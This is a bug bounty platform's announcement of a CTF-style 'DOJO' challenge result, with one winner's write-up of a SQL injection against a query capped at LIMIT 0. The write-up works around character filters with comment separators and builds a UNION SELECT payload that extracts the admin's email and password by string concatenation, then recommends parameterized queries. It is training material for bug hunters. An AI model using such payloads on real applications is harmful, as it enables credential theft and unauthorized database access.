The #19th DOJO CHALLENGE gave the opportunity to perform a SQL injection where the limit statement was set to zero to show no output from the database. Participants had to come up with a way to display the database results on the screen and collect the admin’s email address and password.
💡 You want to create your own DOJO and publish it? Send us a message on Twitter!
We are glad to announce the #19 DOJO Challenge winners list.
3 BEST WRITE-UP REPORTS
- The best write-ups reports were submitted by: Xk3tla, Karaharauh and Cyrilp! Congrats 🥳
The not so limited blind SQL injection
We asked you to produce a qualified write-up report explaining the logic allowing such exploitation. This write-up serves two purposes:
- Ensure no copy-paste would occur.
- Determine the contestant ability to properly describe a vulnerability and its vectors inside a professionally redacted report. This capacity gives us invaluable hints on your own, unique, talent as a bug hunter.
BEST WRITE-UP REPORT
We received a large number of reports and all of them were detailed, well explained… However, we had to make a selection of the best ones. These challenges allow to see that there are almost as many different solutions… as long as there is creativity! 😉
Thanks again for all your submissions and thanks for playing with us!
————– START OF Xk3tla’s REPORT ——————
SQL Injection via ($id) String Concatenation | CVSSv3 9.1 | CWE-89
SQL injection is a technique in which an attacker inserts malicious code into strings that are later passed to a database for execution. SQL injection exploits applications that formulate SQL statements from user input (e.g., from values input in a form on a web site). The vulnerability is due to either incorrectly filtered input or wrongly typed input, but is always the result of concatenating user input with SQL strings to perform a database action.
Consider a situation where the original query returns multiple columns from the target table. Instead of checking each column to determine which column contains the data type string, You can easily retrieve multiple values within a single column by concatenating the values together. This makes retrieval more straightforward, because it requires identification of only a single varchar field in the original query
Steps to Reproduce
(1) Observe the SQL code provided :
--return SELECT username FROM users WHERE ( role = 'USER' AND email LIKE '%@yahoo.com' ) AND ( id > 13.37 AND id <= $ID ) LIMIT 0 -- 10 /** * Set "LIMIT" to 10 when in production */
(2) Analyze the regex rules and see which chars are Blacklisted to inject (Ref: dojo01.png)
1st regex rule: chars as -,#( are replaced by _N0p3_ 2nd regex rule: chars as <space> are replaced by _
(3) Observe which chars are Whitelisted and those already for injection.
Chars allowed : /, *, |, ~,)
(4) Start some injecting with comments, use chars as follow ‘/**/ ‘ and observe the SQL clause accepting injections (Ref dojo02.png)
--return SELECT username FROM users WHERE ( role = 'USER' AND email LIKE '%@yahoo.com' ) AND ( id > 13.37 AND id <= /**/1+'alt3kx'/**/ ) LIMIT 0 -- 10 /** * Set "LIMIT" to 10 when in production */
(5) Use the whitelisted char ‘) ‘ and inject it into SQL clause to close the condition AND e.g.
AND ( id > 13.37 AND id <= 1) <- close this condition
(6) Observe the hints provided, to complete injection should be “SQLi + “String Concatenation” and retrieve multiple values within a single column
(7) Based on that information provided build the final SQL statement:
1) <- Close the condition
UNION/*alt3kx*/SELECT/**/<- SQL statement and interchange comments as separator
email||'~'||password <- Exploit SQL Injection via ($id) String Concatenation
/**/FROM/**/users/**/WHERE/**/username/**/LIKE/**/'admin'<- SQL statement and interchange comments as separator then escape with ‘ char to accept the admin argument
/* <- Escape the sentences using comments! … Voila! got the flag
Final Payloads Used :
To avoid the attack
Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
————– END OF Xk3tla’s REPORT ——————